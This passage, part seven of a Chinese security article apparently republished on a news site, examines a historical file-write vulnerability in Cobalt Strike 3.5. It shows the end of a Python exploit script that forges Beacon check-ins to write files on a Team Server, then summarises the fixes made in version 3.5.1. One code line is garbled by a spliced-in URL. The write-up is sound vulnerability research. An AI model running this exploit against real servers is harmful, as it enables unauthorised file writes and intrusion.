互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究( 七 )


print "[*] Creating file .."
data, fid = build_download_task(os.path.split(args.filepath)[1], aes_key, hmac_key)
# Send it to the server. This is the equivalent of touch(filepath)

# submit.php should be replaced with malleable C2 setting if applicable
beacon_checkin(args.target, "submit.php", data, args.bid, args.host, args.ssl)
# Build another task which is going to write the data to the touched file
# We force the counter to be higher than the last task to avoid replay protection
print "[*] Sending data .."
data = http://news.hoteastday.com/a/build_download_data(args.filedata, fid, aes_key, hmac_key, counter()+100)
# Fire it..
beacon_checkin(args.target, "submit.php", data, args.bid, args.host, args.ssl)
print "[+] Done!"
以下视频演示了该漏洞的利用效果:
https://videos.files.wordpress.com/8DjSHoub/cs-3-5-exploit_dvd.mp4
0x06 缓解措施
如Cobalt Strike的后续帖子所述 , 在3.5.1中添加了以下修复程序
·引入了一个新的SafeFile方法 , 该方法将应写入文件的路径作为第一个参数 , 并将要写入的文件名作为第二个参数 。 随后 , 它确保在规范化之后 , 文件不会脱离在第一个参数中传递的规范化路径 。 在执行文件写入的任何地方都将使用此新方法 , 包括写入日志文件和截图 。

·添加了host_stage可延展的C2配置设置 。 设置为false时 , 这将完全禁用payload下载 , 这意味着你的Team Server将不会通过checksum8 URL托管下载器 。 每当不需要payload分段时都应使用此方法 , 但是应注意 , 这可能会破坏你可能习惯的某些利用后工作流程 。
·现在 , 使用ID值将下载存储在文件系统上 。 这映射到数据模型中的实际文件路径 , 这是通过Cobalt Strike GUI访问“下载”选项卡时看到的 。
·现在 , 在允许来自Beacon的大多数回调响应之前 , Team Server会至少检查一次Beacon任务 。 这样可以确保攻击者在操作者未与Beacon进行交互之前就无法伪造Beacon并开始欺骗响应 。
·根据正则表达式对在Beacon元数据中报告的IP地址值进行完整性检查 , 以确保它实际上是IP地址 。
总而言之 , 3.5.1更新中应用的修复程序很健壮 , 可以从多个角度修补漏洞 。 如文章开始所述 , 此漏洞在旧 版本的Cobalt Strike中存在 , 而在最新版本中不存在 。 尽管如此 , 我们希望这篇文章对Cobalt Strike内部有一定的了解 , 并为蓝队和红队提供了改善与真正对手的战斗的机会 。
【互联网|对红队利器Cobalt Strike一个历史遗留漏洞的研究】


推荐阅读